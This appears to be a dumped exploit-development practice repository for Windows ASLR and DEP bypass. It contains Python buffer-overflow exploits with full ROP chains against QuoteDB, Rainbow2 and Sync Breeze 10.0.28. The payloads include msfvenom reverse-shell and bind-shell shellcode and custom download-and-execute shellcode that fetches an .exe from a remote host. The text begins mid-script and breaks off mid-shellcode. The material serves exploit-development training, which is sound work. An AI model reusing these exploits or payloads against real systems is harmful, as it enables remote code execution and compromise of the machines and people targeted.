 33 | msvcrt_base = hex(int("0x" + resp[0].decode("utf-8"),16) - 0x66bc0)
 34 | #print("msvcrt: "+msvcrt_base)
 35 | #00580000 005d2000   main (QuoteDB.exe)
 36 | quotedb_base = hex(int("0x" + resp[2].decode("utf-8"),16) - 0x173b)
 37 | print("QuoteDB base: "+quotedb_base)
 38 | virtual_alloc = hex(int(quotedb_base,16) + 0x43218)
 39 | print("VirtualAlloc poi: " + virtual_alloc)
 40 | 
 41 | msvcrt_base = int("0x" + resp[0].decode("utf-8"),16) - 0x66bc0
 42 | virtual_alloc = int(quotedb_base,16) + 0x43218
 43 | 
 44 | #THIRD - EXPLOIT
 45 | rop_nop = struct.pack("<I",msvcrt_base + 0x00004e50) # RET from msvcrt
 46 | 
 47 | #mona generated
 48 | #[---INFO:gadgets_to_set_ebp:---]
 49 | rop = struct.pack("<I",msvcrt_base + 0x0007651a)  # POP EBP # RETN [msvcrt.dll] ** REBASED ** ASLR 
 50 | rop += struct.pack("<I",msvcrt_base + 0x0007651a)   # skip 4 bytes [msvcrt.dll] ** REBASED ** ASLR
 51 | #[---INFO:gadgets_to_set_ebx:---]
 52 | rop += struct.pack("<I",msvcrt_base + 0x00098a9a)  # POP EAX # RETN [msvcrt.dll] ** REBASED ** ASLR 
 53 | rop += struct.pack("<I", 0xfbdbbb24)  # put delta into eax (-> put 0x00000001 into ebx)
 54 | rop += struct.pack("<I",msvcrt_base + 0x0009f669)  # ADD EAX,42444DD # RETN [msvcrt.dll] ** REBASED ** ASLR 
 55 | rop += struct.pack("<I",msvcrt_base + 0x00089319)  # XCHG EAX,EBX # RETN [msvcrt.dll] ** REBASED ** ASLR 
 56 | #[---INFO:gadgets_to_set_edx:---]
 57 | rop += struct.pack("<I",msvcrt_base +  0x00098d52)  # POP EAX # RETN [msvcrt.dll] ** REBASED ** ASLR 
 58 | rop += struct.pack("<I", 0xfbdbcb23)  # put delta into eax (-> put 0x00001000 into edx)
 59 | rop += struct.pack("<I",msvcrt_base + 0x0009f669)  # ADD EAX,42444DD # RETN [msvcrt.dll] ** REBASED ** ASLR 
 60 | rop += struct.pack("<I",msvcrt_base + 0x00089275)  # XCHG EAX,EDX # RETN [msvcrt.dll] ** REBASED ** ASLR 
 61 | #[---INFO:gadgets_to_set_ecx:---]
 62 | rop += struct.pack("<I",msvcrt_base + 0x0009cf91)  # POP EAX # RETN [msvcrt.dll] ** REBASED ** ASLR 
 63 | rop += struct.pack("<I", 0xfbdbbb63)  # put delta into eax (-> put 0x00000040 into ecx)
 64 | rop += struct.pack("<I",msvcrt_base + 0x0009f669)  # ADD EAX,42444DD # RETN [msvcrt.dll] ** REBASED ** ASLR 
 65 | rop += struct.pack("<I",msvcrt_base + 0x00089195)  # XCHG EAX,ECX # RETN [msvcrt.dll] ** REBASED ** ASLR 
 66 | #[---INFO:gadgets_to_set_edi:---]
 67 | rop += struct.pack("<I",msvcrt_base + 0x000899b3)  # POP EDI # RETN [msvcrt.dll] ** REBASED ** ASLR 
 68 | rop += rop_nop
 69 | #[---INFO:gadgets_to_set_esi:---]
 70 | rop += struct.pack("<I",msvcrt_base + 0x00066f6d)  # POP ESI # RETN [msvcrt.dll] ** REBASED ** ASLR 
 71 | rop += struct.pack("<I",msvcrt_base + 0x0000d178)  # JMP [EAX] [msvcrt.dll]
 72 | rop += struct.pack("<I",msvcrt_base + 0x0009cf91)  # POP EAX # RETN [msvcrt.dll] ** REBASED ** ASLR 
 73 | rop += struct.pack("<I",virtual_alloc)  # ptr to &VirtualAlloc() [IAT msvcrt.dll] ** REBASED ** ASLR
 74 | #[---INFO:pushad:---]
 75 | rop += struct.pack("<I",msvcrt_base + 0x00056f67)  # PUSHAD # RETN [msvcrt.dll] ** REBASED ** ASLR 
 76 | #[---INFO:extras:---]
 77 | rop += struct.pack("<I",msvcrt_base + 0x0000801d)  # ptr to 'call esp' [msvcrt.dll] ** REBASED ** ASLR
 78 | 
 79 | #msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.60 LPORT=6789  -f python -v shellcode -b '\x00' EXITFUNC=thread
 80 | shellcode =  b""
 81 | shellcode += b"\xb8\x7c\x42\xca\xfa\xdb\xda\xd9\x74\x24\xf4"
 82 | shellcode += b"\x5b\x33\xc9\xb1\x52\x83\xeb\xfc\x31\x43\x0e"
 83 | shellcode += b"\x03\x3f\x4c\x28\x0f\x43\xb8\x2e\xf0\xbb\x39"
 84 | shellcode += b"\x4f\x78\x5e\x08\x4f\x1e\x2b\x3b\x7f\x54\x79"
 85 | shellcode += b"\xb0\xf4\x38\x69\x43\x78\x95\x9e\xe4\x37\xc3"
 86 | shellcode += b"\x91\xf5\x64\x37\xb0\x75\x77\x64\x12\x47\xb8"
 87 | shellcode += b"\x79\x53\x80\xa5\x70\x01\x59\xa1\x27\xb5\xee"
 88 | shellcode += b"\xff\xfb\x3e\xbc\xee\x7b\xa3\x75\x10\xad\x72"
 89 | shellcode += b"\x0d\x4b\x6d\x75\xc2\xe7\x24\x6d\x07\xcd\xff"
 90 | shellcode += b"\x06\xf3\xb9\x01\xce\xcd\x42\xad\x2f\xe2\xb0"
 91 | shellcode += b"\xaf\x68\xc5\x2a\xda\x80\x35\xd6\xdd\x57\x47"
 92 | shellcode += b"\x0c\x6b\x43\xef\xc7\xcb\xaf\x11\x0b\x8d\x24"
 93 | shellcode += b"\x1d\xe0\xd9\x62\x02\xf7\x0e\x19\x3e\x7c\xb1"
 94 | shellcode += b"\xcd\xb6\xc6\x96\xc9\x93\x9d\xb7\x48\x7e\x73"
 95 | shellcode += b"\xc7\x8a\x21\x2c\x6d\xc1\xcc\x39\x1c\x88\x98"
 96 | shellcode += b"\x8e\x2d\x32\x59\x99\x26\x41\x6b\x06\x9d\xcd"
 97 | shellcode += b"\xc7\xcf\x3b\x0a\x27\xfa\xfc\x84\xd6\x05\xfd"
 98 | shellcode += b"\x8d\x1c\x51\xad\xa5\xb5\xda\x26\x35\x39\x0f"
 99 | shellcode += b"\xe8\x65\x95\xe0\x49\xd5\x55\x51\x22\x3f\x5a"
100 | shellcode += b"\x8e\x52\x40\xb0\xa7\xf9\xbb\x53\x08\x55\xc2"
101 | shellcode += b"\x9f\xe0\xa4\xc4\xc5\x75\x21\x22\x93\x65\x64"
102 | shellcode += b"\xfd\x0c\x1f\x2d\x75\xac\xe0\xfb\xf0\xee\x6b"
103 | shellcode += b"\x08\x05\xa0\x9b\x65\x15\x55\x6c\x30\x47\xf0"
104 | shellcode += b"\x73\xee\xef\x9e\xe6\x75\xef\xe9\x1a\x22\xb8"
105 | shellcode += b"\xbe\xed\x3b\x2c\x53\x57\x92\x52\xae\x01\xdd"
106 | shellcode += b"\xd6\x75\xf2\xe0\xd7\xf8\x4e\xc7\xc7\xc4\x4f"
107 | shellcode += b"\x43\xb3\x98\x19\x1d\x6d\x5f\xf0\xef\xc7\x09"
108 | shellcode += b"\xaf\xb9\x8f\xcc\x83\x79\xc9\xd0\xc9\x0f\x35"
109 | shellcode += b"\x60\xa4\x49\x4a\x4d\x20\x5e\x33\xb3\xd0\xa1"
110 | shellcode += b"\xee\x77\xf0\x43\x3a\x82\x99\xdd\xaf\x2f\xc4"
111 | shellcode += b"\xdd\x1a\x73\xf1\x5d\xae\x0c\x06\x7d\xdb\x09"
112 | shellcode += b"\x42\x39\x30\x60\xdb\xac\x36\xd7\xdc\xe4"
113 | 
114 | OFFSET = 2064
115 | payload = b"A"*OFFSET
116 | payload += rop_nop
117 | payload += rop
118 | payload += b"\x90"*10
119 | payload += shellcode
120 | payload += b"C" * (CRASH_LEN_EIP - len(payload))
121 | 
122 | with socket.create_connection(target) as sock:
123 |     sent = sock.send(payload)
124 |     resp = sock.recv(512)
125 |     #print(resp)
126 | sock.close()
127 | 


--------------------------------------------------------------------------------
/6.asrl_enabled/README.md:
--------------------------------------------------------------------------------
 1 | # ASLR bypass
 2 | Techniques: https://www.abatchy.com/2017/06/exploit-dev-101-bypassing-aslr-on.html
 3 | 
 4 | Some Win32 APIs useful -> DebugHelp o SymGetSymFromName
 5 | 
 6 | 
 7 | Basically:
 8 | 1. Info Leak OR
 9 | 2. Modules without ASLR enabled OR
10 | 
11 |     ```py
12 |     !py mona modules -cm aslr=false,rebase=false 
13 |     ```
14 | 3. If possible bruteforce on the addresses
15 | 


--------------------------------------------------------------------------------
/6.asrl_enabled/Rainbow2/README.md:
--------------------------------------------------------------------------------
1 |   Downloaded from here: [https://github.com/xct/vulnbins/tree/main](https://github.com/xct/vulnbins/blob/main/rainbow2.exe)
2 | 


--------------------------------------------------------------------------------
/6.asrl_enabled/Rainbow2/exploit_wpm.py:
--------------------------------------------------------------------------------
  1 | import struct
  2 | import socket
  3 | 
  4 | TARGET_IP = "127.0.0.1"
  5 | TARGET_PORT = 2121
  6 | target = (TARGET_IP, TARGET_PORT) 
  7 | 
  8 | payload = b"PUT %p-%p-%p-%p"
  9 | leak = []
 10 | with socket.create_connection(target) as sock:
 11 |     sent = sock.send(payload)
 12 |     print(f"sent {sent} bytes")
 13 | 
 14 |     resp = sock.recv(512) 
 15 |     print(resp)
 16 |     
 17 | 
 18 |     s = str(resp)
 19 |     leak = s.split("-")[1]
 20 |     filesrv = int(hex(int("0x"+leak,16) - 0x14120),16)
 21 |     #print(base)
 22 | 
 23 |     #EXPLOIT
 24 | 
 25 |     #\x00\x09\x0a\x0b\x0c\x0d\x20\x2F\x5C
 26 |     total = 2100  # change me
 27 |     crash = 1032
 28 | 
 29 |     rop_nop = struct.pack("<I", filesrv + 0x1010) # ret |  {PAGE_EXECUTE_READ} [rainbow2.exe]
 30 | 
 31 |     #step 1 - save esp in ebp e eax
 32 |     rop = struct.pack("<I", filesrv + 0x3dc54) # PUSH ESP # ADD ESI,EAX # AAS # POP EBP # RETN    ** [rainbow2.exe] **
 33 |     rop += struct.pack("<I", filesrv + 0x35bd3)  # XCHG EAX,EBP # RETN
 34 |     
 35 |     #step 2 - jump over template
 36 |     rop += struct.pack("<I", filesrv + 0x8a9b3)  # ADD ESP,1C # RETN    ** [rainbow2.exe] ** 
 37 |     
 38 |     #0:003> u poi(3FC6015C) -->    #KERNEL32!WriteFile:
 39 |     rop += struct.pack('<L', filesrv + 0x9015c)    # Pointer to KERNEL32!WriteFile (no pointers from IAT directly to kernel32!WriteProcessMemory, so loading pointer to kernel32.dll and compensating later.)
 40 |     rop += struct.pack('<L', filesrv + 0x8fea3)    # RX from MODULE no aslr (Protect: 00000020)
 41 |     rop += struct.pack('<L', 0xFFFFFFFF)    # hProccess = handle to current process (Pseudo handle = 0xFFFFFFFF points to current process)
 42 |     rop += struct.pack('<L', filesrv + 0x8fea3)    # lpBaseAddress = RX from MODULE no aslr (Protect: 00000020)
 43 |     rop += struct.pack('<L', 0x22222222)    # lpBuffer = base address of shellcode (dynamically generated)
 44 |     rop += struct.pack('<L', 0x11111111)    # nSize = size of shellcode  - 0x150
 45 |     rop += struct.pack('<L', filesrv + 0xa933c)    # lpNumberOfBytesWritten = RW in MODULE no aslr (Protect: 00000004) - DWORD  writable
 46 | 
 47 |     #step 3 - patching pointer to kerne32!writefile
 48 |     #0:003> u poi(3FC6015C)+13a40  -> WriteProcessMemoryStub
 49 |     rop += struct.pack('<L', filesrv + 0x76096) # ADD EAX,8 # RETN    ** [rainbow2.exe] ** 
 50 |     rop += struct.pack("<I", filesrv + 0x35680)  # ADD EBX,EAX # RETN 0x00    ** [rainbow2.exe] **
 51 |     rop += struct.pack("<I", filesrv + 0x6219f ) # XOR EDX,EDX # RETN    ** [rainbow2.exe] **
 52 |     rop += struct.pack("<I", filesrv + 0x316ae)  # ADD EDX,EBX # POP EBX # RETN 0x10    ** [rainbow2.exe] ** 
 53 |     rop += struct.pack("<I", 0x7777794b) # padding for pop ebx
 54 |     rop += rop_nop
 55 |     rop += rop_nop
 56 |     rop += rop_nop
 57 |     rop += rop_nop
 58 |     rop += rop_nop
 59 |     rop += rop_nop
 60 |     rop += struct.pack('<L', filesrv + 0x457db) # MOV EAX,DWORD PTR [EAX] # POP EBP # RETN    ** [rainbow2.exe] ** 
 61 |     rop += struct.pack("<I", 0x41414141) # padding for pop ebp
 62 |     rop += struct.pack('<L', filesrv + 0x457db) # MOV EAX,DWORD PTR [EAX] # POP EBP # RETN    ** [rainbow2.exe] ** 
 63 |     rop += struct.pack("<I", 0x41414141) # padding for pop ebp
 64 |     rop += struct.pack('<L', filesrv + 0x68039)  # POP ECX # RETN    ** [rainbow2.exe] **
 65 |     rop += struct.pack("<I", 0xfffec5c0) # -13a40
 66 |     rop += struct.pack('<L', filesrv + 0x599da) # SUB EAX,ECX # POP EBP # RETN    ** [rainbow2.exe] **
 67 |     rop += struct.pack("<I", 0x88888888) # padding for pop ebp
 68 |     rop += struct.pack("<I", filesrv + 0x4bfa0)  # MOV DWORD PTR [EDX],EAX # RETN    ** [rainbow2.exe] **
 69 | 
 70 |     #patching shellcode address
 71 |     rop += struct.pack('<L', filesrv + 0x3ac3c) # INC EBX # MOV EAX,EDX # RETN    ** [rainbow2.exe] ** 
 72 |     rop += struct.pack('<L', filesrv + 0x76096) # ADD EAX,8 # RETN    ** [rainbow2.exe] ** 
 73 |     rop += struct.pack('<L', filesrv + 0x7609f) # ADD EAX,4 # RETN    ** [rainbow2.exe] **
 74 |     rop += struct.pack("<I", filesrv + 0x35bd3)  # XCHG EAX,EBP # RETN
 75 |     rop += struct.pack("<I", filesrv + 0x35680) # ADD EBX,EAX # RETN 0x00    ** [rainbow2.exe] ** 
 76 |     rop += struct.pack("<I", filesrv + 0x316ae)  # ADD EDX,EBX # POP EBX # RETN 0x10    ** [rainbow2.exe] ** 
 77 |     rop += struct.pack("<I", 0x777778bc) # padding for pop ebx
 78 |     rop += rop_nop
 79 |     rop += rop_nop
 80 |     rop += rop_nop
 81 |     rop += rop_nop
 82 |     rop += rop_nop
 83 |     rop += rop_nop
 84 |     rop += struct.pack("<I", filesrv + 0x35bd3)  # XCHG EAX,EBP # RETN
 85 |     rop += struct.pack('<L', filesrv + 0x19712)  # MOV DWORD PTR [EAX+4],EDX # POP EBP # RETN    ** [rainbow2.exe] **  
 86 |     rop += struct.pack("<I", 0x88888888) # padding for pop ebp
 87 | 
 88 |     #patching nsize
 89 |     rop += struct.pack('<L', filesrv + 0x76096) # ADD EAX,8 # RETN    ** [rainbow2.exe] **
 90 |     rop += struct.pack("<I", filesrv + 0x35bd3)  # XCHG EAX,EBP # RETN
 91 |     rop += struct.pack("<I", filesrv + 0x35680) # ADD EBX,EAX # RETN 0x00    ** [rainbow2.exe] ** 
 92 |     rop += struct.pack("<I", filesrv + 0x35bd3)  # XCHG EAX,EBP # RETN
 93 |     rop += struct.pack("<I", filesrv + 0x7e78b)  # MOV DWORD PTR [EAX],EBX # POP EDI # POP ESI # POP EBX # POP EBP # RETN    ** [rainbow2.exe] **
 94 |     rop += struct.pack("<I", 0x41414141) # padding for pop edi
 95 |     rop += struct.pack("<I", 0x41414141) # padding for pop esi
 96 |     rop += struct.pack("<I", 0x41414141) # padding for pop ebx
 97 |     rop += struct.pack("<I", 0x41414141) # padding for pop ebp
 98 | 
 99 |     rop += struct.pack("<I", filesrv + 0x86560) # SUB EAX,2 # POP EBP # RETN    ** [rainbow2.exe] **  
100 |     rop += struct.pack("<I", 0x41414141) # padding for pop ebp
101 |     rop += struct.pack("<I", filesrv + 0x86560) # SUB EAX,2 # POP EBP # RETN    ** [rainbow2.exe] **  
102 |     rop += struct.pack("<I", 0x41414141) # padding for pop ebp
103 |     rop += struct.pack("<I", filesrv + 0x86560) # SUB EAX,2 # POP EBP # RETN    ** [rainbow2.exe] **  
104 |     rop += struct.pack("<I", 0x41414141) # padding for pop ebp
105 |     rop += struct.pack("<I", filesrv + 0x86560) # SUB EAX,2 # POP EBP # RETN    ** [rainbow2.exe] **  
106 |     rop += struct.pack("<I", 0x41414141) # padding for pop ebp
107 |     rop += struct.pack("<I", filesrv + 0x86560) # SUB EAX,2 # POP EBP # RETN    ** [rainbow2.exe] **  
108 |     rop += struct.pack("<I", 0x41414141) # padding for pop ebp
109 |     rop += struct.pack("<I", filesrv + 0x86560) # SUB EAX,2 # POP EBP # RETN    ** [rainbow2.exe] **  
110 |     rop += struct.pack("<I", 0x41414141) # padding for pop ebp
111 |     rop += struct.pack("<I", filesrv + 0x86560) # SUB EAX,2 # POP EBP # RETN    ** [rainbow2.exe] **  
112 |     rop += struct.pack("<I", 0x41414141) # padding for pop ebp
113 |     rop += struct.pack("<I", filesrv + 0x86560) # SUB EAX,2 # POP EBP # RETN    ** [rainbow2.exe] **  
114 |     rop += struct.pack("<I", 0x41414141) # padding for pop ebp
115 |     rop += struct.pack("<I", filesrv + 0x86560) # SUB EAX,2 # POP EBP # RETN    ** [rainbow2.exe] **  
116 |     rop += struct.pack("<I", 0x41414141) # padding for pop ebp
117 |     rop += struct.pack("<I", filesrv + 0x86560) # SUB EAX,2 # POP EBP # RETN    ** [rainbow2.exe] **  
118 |     rop += struct.pack("<I", 0x41414141) # padding for pop ebp
119 | 
120 |     rop += struct.pack("<I", filesrv + 0x71cb8)  # XCHG EAX,ESP # RETN    ** [rainbow2.exe] ** 
121 |     rop += b"\x90" * (500 - len(rop)-8)
122 | 
123 |     #custom shellcode - download&execute rev shell
124 |     shellcode  = b"\x89\xe5\x81\xc4\xf0\xf9\xff\xff\x31\xc9"
125 |     shellcode += b"\x64\x8b\x71\x30\xb8\xf4\xff\xff\xff\xf7"
126 |     shellcode += b"\xd8\x8b\x34\x06\x8b\x76\x1c\xb8\xe0\xff"
127 |     shellcode += b"\xff\xff\xf7\xd8\x8b\x5e\x08\x8b\x3c\x06"
128 |     shellcode += b"\x8b\x36\x66\x39\x4f\x18\x75\xeb\xeb\x06"
129 |     shellcode += b"\x5e\x89\x75\x04\xeb\x66\xe8\xf5\xff\xff"
130 |     shellcode += b"\xff\x60\x8b\x43\x3c\x8b\x7c\x03\x78\x01"
131 |     shellcode += b"\xdf\xbe\xe0\xff\xff\xff\xf7\xde\x8b\x4f"
132 |     shellcode += b"\x18\x8b\x04\x37\x01\xd8\x89\x45\xfc\xe3"
133 |     shellcode += b"\x41\x49\x8b\x45\xfc\x8b\x34\x88\x01\xde"
134 |     shellcode += b"\x31\xc0\x99\xfc\xac\x84\xc0\x74\x10\xc1"
135 |     shellcode += b"\xca\x02\xc1\xca\x02\xc1\xca\x03\xc1\xca"
136 |     shellcode += b"\x06\x01\xc2\xeb\xeb\x3b\x54\x24\x24\x75"
137 |     shellcode += b"\xd6\x8b\x57\x24\x01\xda\x4a\x66\x8b\x4c"
138 |     shellcode += b"\x4a\x01\x8b\x57\x1c\x01\xda\x8b\x04\x8a"
139 |     shellcode += b"\x01\xd8\x89\x44\x24\x1c\x61\xc3\x68\x83"
140 |     shellcode += b"\xb9\xb5\x78\xff\x55\x04\x89\x45\x10\x68"
141 |     shellcode += b"\x8e\x4e\x0e\xec\xff\x55\x04\x89\x45\x14"
142 |     shellcode += b"\x68\x98\xfe\x8a\x0e\xff\x55\x04\x89\x45"
143 |     shellcode += b"\x18\x31\xc0\x66\xb8\x6c\x6c\x50\x68\x6f"
144 |     shellcode += b"\x6e\x2e\x64\x68\x75\x72\x6c\x6d\x54\xff"
145 |     shellcode += b"\x55\x14\x89\xc3\x68\x36\x1a\x2f\x70\xff"
146 |     shellcode += b"\x55\x04\x89\x45\x24\x51\x68\x2e\x65\x78"
147 |     shellcode += b"\x65\x68\x35\x34\x2f\x6d\x68\x31\x34\x2e"
148 |     shellcode += b"\x31\x68\x36\x38\x2e\x31\x68\x39\x32\x2e"
149 |     shellcode += b"\x31\x68\x3a\x2f\x2f\x31\x68\x68\x74\x74"
150 |     shellcode += b"\x70\x54\x5e\x51\x68\x2e\x65\x78\x65\x68"
151 |     shellcode += b"\x6c\x73\x5c\x61\x68\x79\x6d\x62\x6f\x68"
152 |     shellcode += b"\x43\x3a\x2f\x73\x54\x5f\x51\x51\x57\x56"
153 |     shellcode += b"\x51\xff\x55\x24\x51\x57\xff\x55\x18\x31"
154 |     shellcode += b"\xc9\x51\x6a\xff\xff\x55\x10"
155 | 
156 |     payload = b"PUT "
157 |     payload += b"A" * crash
158 |     payload += b"A" * 4
159 |     payload += struct.pack("<I", filesrv + 0x11396) # ADD ESP,0E10 # RETN    ** [rainbow2.exe] **
160 |     payload += b"B" * 92
161 |     payload += rop_nop
162 |     payload += rop_nop
163 |     payload += rop_nop
164 |     payload += rop_nop
165 |     payload += rop_nop
166 |     payload += rop_nop
167 |     payload += rop_nop
168 |     payload += rop_nop
169 |     payload += rop_nop
170 |     payload += rop_nop
171 |     payload += rop_nop
172 |     payload += rop_nop
173 |     payload += rop_nop
174 |     payload += rop_nop
175 |     payload += rop_nop
176 |     payload += rop
177 |     payload += b"\x90"*4
178 |     payload += shellcode
179 |     print(total - len(payload))
180 |     payload += b"D" * (total - len(payload))
181 | 
182 | 
183 |     sent = sock.send(payload)
184 |     print(f"sent {sent} bytes")
185 | 
186 |     resp = sock.recv(512) 
187 |     print(resp)
188 | 
189 |     sock.close()
190 | 


--------------------------------------------------------------------------------
/6.asrl_enabled/Sync_Breeze_version_10.0.28/README.md:
--------------------------------------------------------------------------------
 1 | # Sync Breeze 
 2 | 
 3 | Downloaded from: https://www.exploit-db.com/exploits/42928
 4 | 
 5 | ## Initial Crash
 6 | 
 7 | ```py
 8 | #!/usr/bin/python 
 9 | import socket 
10 | import sys 
11 | 
12 | server = "127.0.0.1" 
13 | port = 80 
14 | size = 800 
15 | 
16 | inputBuffer = b"A" * size 
17 | content = b"username=" + inputBuffer + b"&password=A" 
18 | 
19 | buffer = b"POST /login HTTP/1.1\r\n" 
20 | buffer += b"Host: " + server.encode() + b"\r\n" 
21 | buffer += b"User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n" 
22 | buffer += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" 
23 | buffer += b"Accept-Language: en-US,en;q=0.5\r\n" 
24 | buffer += b"Referer: http://10.11.0.22/login\r\n" 
25 | buffer += b"Connection: close\r\n" 
26 | buffer += b"Content-Type: application/x-www-form-urlencoded\r\n" 
27 | buffer += b"Content-Length: "+ str(len(content)).encode() + b"\r\n" 
28 | buffer += b"\r\n" 
29 | buffer += content 
30 | 
31 | print("Sending evil buffer...") 
32 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
33 | s.connect((server, port)) 
34 | s.send(buffer) 
35 | s.close() 
36 | 
37 | print("Done!") 
38 | ```
39 | 


--------------------------------------------------------------------------------
/6.asrl_enabled/Sync_Breeze_version_10.0.28/exploit.py:
--------------------------------------------------------------------------------
  1 | #!/usr/bin/python 
  2 | import socket 
  3 | import sys 
  4 | import struct 
  5 | 
  6 | server = "127.0.0.1" 
  7 | port = 80 
  8 | CRASH = 1500 
  9 | OFFSET = 780
 10 | 
 11 | #\x00\x0d\x0a\x25\x26\x2b\x3d
 12 | rop_nop = struct.pack("<I",0x1001111e) #  : ret | ascii {PAGE_EXECUTE_READ} [libspp.dll]
 13 | 
 14 | #---------------------------------------------------------------------#
 15 |  #GOAL       VirtualAlloc                                         
 16 | # EAX 90909090 => Nop                                                 
 17 | # ECX 00000040 => flProtect                                          
 18 | # EDX 00001000 => flAllocationType                                    
 19 | # EBX 00000001 => dwSize                                            
 20 | # ESP ???????? => Leave as is                                         
 21 | # EBP ???????? => Call to ESP (jmp, call, push,..) DONE   !py mona jmp -r esp -cpb '\x00\x0d\x0a\x25\x26\x2b\x3d'                    
 22 | # ESI ???????? => PTR to VirtualAlloc - DWORD PTR of VirtualAlloc         
 23 | # EDI RETN => ROP-Nop same as EIP          !py mona find -type instr -s "retn" -m libspp.dll -cpb "\x00\x0d\x0a\x25\x26\x2b\x3d"                       
 24 | #---------------------------------------------------------------------#
 25 | 
 26 | 
 27 | #EAX
 28 | eax = struct.pack("<I",0x1012b413)  # POP EAX # RETN    ** [libspp.dll] **  
 29 | eax += struct.pack("<I",0x90909090)  
 30 | 
 31 | #ECX 
 32 | ecx = struct.pack("<I",0x1012b413)  # POP EAX # RETN    ** [libspp.dll] ** 
 33 | ecx += struct.pack("<I",0xffffffc0) #-40
 34 | ecx += struct.pack("<I",0x100c1586)  # NEG EAX # RETN    ** [libspp.dll] **   |
 35 | ecx += struct.pack("<I",0x100baecb)  # XCHG EAX,ECX # RETN    ** [libspp.dll] **
 36 | 
 37 | #EDX - 
 38 | edx = struct.pack("<I",0x1012b413)  # POP EAX # RETN    ** [libspp.dll] **
 39 | edx += struct.pack("<I",0xffffefff) # -1001
 40 | edx += struct.pack("<I",0x101229f2)  # INC EAX # RETN    ** [libspp.dll] ** 
 41 | edx += struct.pack("<I",0x100c1586)  # NEG EAX # RETN    ** [libspp.dll] **   |
 42 | edx += struct.pack("<I",0x100cb4d4)  # XCHG EAX,EDX # RETN    ** [libspp.dll] ** 
 43 | 
 44 | #EBX - 
 45 | ebx = struct.pack("<I",0x1013ac5a)  # INC EBX # XOR EDX,EDX # RETN    **
 46 | 
 47 | #EBP - 
 48 | ebp = struct.pack("<I",0x10141b4f) # POP EBP # RETN    ** [libspp.dll] ** 
 49 | ebp += struct.pack("<I",0x10090c83)  # jmp esp |  {PAGE_EXECUTE_READ} [libspp.dll]
 50 | 
 51 | #ESI - V
 52 | esi = struct.pack("<I",0x1012b413)  # POP EAX # RETN    ** [libspp.dll] **
 53 | esi += struct.pack("<I",0x10168074) # poi -> KERNEL32!GetDriveTypeA
 54 | esi += struct.pack("<I",0x1014dc4c)  # MOV EAX,DWORD PTR [EAX] # RETN    ** [libspp.dll] **  
 55 | esi += struct.pack("<I",0x10141b4f) # POP EBP # RETN    ** [libspp.dll] **
 56 | esi += struct.pack("<I",0xffff7de0) # -8820
 57 | esi += struct.pack("<I",0x100fcd71)  # ADD EAX,EBP # DEC ECX # RETN    **
 58 | esi += rop_nop
 59 | esi += struct.pack("<I",0x1008c696)  # XCHG EAX,ESI # ADC EAX,DWORD PTR [EAX] # ADD BYTE PTR [EDI+5EH],BL # ADD ESP,44 # RETN 0x08
 60 | esi += struct.pack("<I",0x41414141)
 61 | esi += struct.pack("<I",0x41414141)
 62 | esi += struct.pack("<I",0x41414141)
 63 | esi += struct.pack("<I",0x41414141)
 64 | esi += struct.pack("<I",0x41414141)
 65 | esi += struct.pack("<I",0x41414141)
 66 | esi += struct.pack("<I",0x41414141)
 67 | esi += struct.pack("<I",0x41414141)
 68 | esi += struct.pack("<I",0x41414141)
 69 | esi += struct.pack("<I",0x41414141)
 70 | esi += struct.pack("<I",0x41414141)
 71 | esi += struct.pack("<I",0x41414141)
 72 | esi += struct.pack("<I",0x41414141)
 73 | esi += struct.pack("<I",0x41414141)
 74 | esi += struct.pack("<I",0x41414141)
 75 | esi += struct.pack("<I",0x41414141)
 76 | esi += struct.pack("<I",0x41414141)
 77 | esi += rop_nop # retn 0x8
 78 | esi += rop_nop # retn 0x8
 79 | esi += rop_nop # retn 0x8
 80 | 
 81 | #EDI
 82 | edi = struct.pack("<I",0x10064a0f)  # POP EDI # RETN    ** [libspp.dll] **  
 83 | edi += rop_nop
 84 | 
 85 | #PUSHAD
 86 | pushad = struct.pack("<I",0x10109ed2)  # PUSHAD # RETN    ** [libspp.dll] ** )
 87 | 
 88 | #msfvenom -p windows/shell_bind_tcp LPORT=12345 -f python -v shellcode -b '\x00\x0d\x0a\x25\x26\x2b\x3d'
 89 | shellcode =  b""
 90 | shellcode += b"\xba\x06\xd6\x99\xf7\xda\xc1\xd9\x74\x24\xf4"
 91 | shellcode += b"\x58\x29\xc9\xb1\x53\x31\x50\x12\x03\x50\x12"
 92 | shellcode += b"\x83\xee\x2a\x7b\x02\x12\x3a\xfe\xed\xea\xbb"
 93 | shellcode += b"\x9f\x64\x0f\x8a\x9f\x13\x44\xbd\x2f\x57\x08"
 94 | shellcode += b"\x32\xdb\x35\xb8\xc1\xa9\x91\xcf\x62\x07\xc4"
 95 | shellcode += b"\xfe\x73\x34\x34\x61\xf0\x47\x69\x41\xc9\x87"
 96 | shellcode += b"\x7c\x80\x0e\xf5\x8d\xd0\xc7\x71\x23\xc4\x6c"
 97 | shellcode += b"\xcf\xf8\x6f\x3e\xc1\x78\x8c\xf7\xe0\xa9\x03"
 98 | shellcode += b"\x83\xba\x69\xa2\x40\xb7\x23\xbc\x85\xf2\xfa"
 99 | shellcode += b"\x37\x7d\x88\xfc\x91\x4f\x71\x52\xdc\x7f\x80"
100 | shellcode += b"\xaa\x19\x47\x7b\xd9\x53\xbb\x06\xda\xa0\xc1"
101 | shellcode += b"\xdc\x6f\x32\x61\x96\xc8\x9e\x93\x7b\x8e\x55"
102 | shellcode += b"\x9f\x30\xc4\x31\xbc\xc7\x09\x4a\xb8\x4c\xac"
103 | shellcode += b"\x9c\x48\x16\x8b\x38\x10\xcc\xb2\x19\xfc\xa3"
104 | shellcode += b"\xcb\x79\x5f\x1b\x6e\xf2\x72\x48\x03\x59\x1b"
105 | shellcode += b"\xbd\x2e\x61\xdb\xa9\x39\x12\xe9\x76\x92\xbc"
106 | shellcode += b"\x41\xfe\x3c\x3b\xa5\xd5\xf9\xd3\x58\xd6\xf9"
107 | shellcode += b"\xfa\x9e\x82\xa9\x94\x37\xab\x21\x64\xb7\x7e"
108 | shellcode += b"\xdf\x6c\x1e\xd1\xc2\x91\xe0\x81\x42\x39\x89"
109 | shellcode += b"\xcb\x4c\x66\xa9\xf3\x86\x0f\x42\x0e\x29\x1f"
110 | shellcode += b"\xaa\x87\xcf\x35\xdc\xc1\x58\xa1\x1e\x36\x51"
111 | shellcode += b"\x56\x60\x1c\xc9\xf0\x29\x76\xce\xff\xa9\x5c"
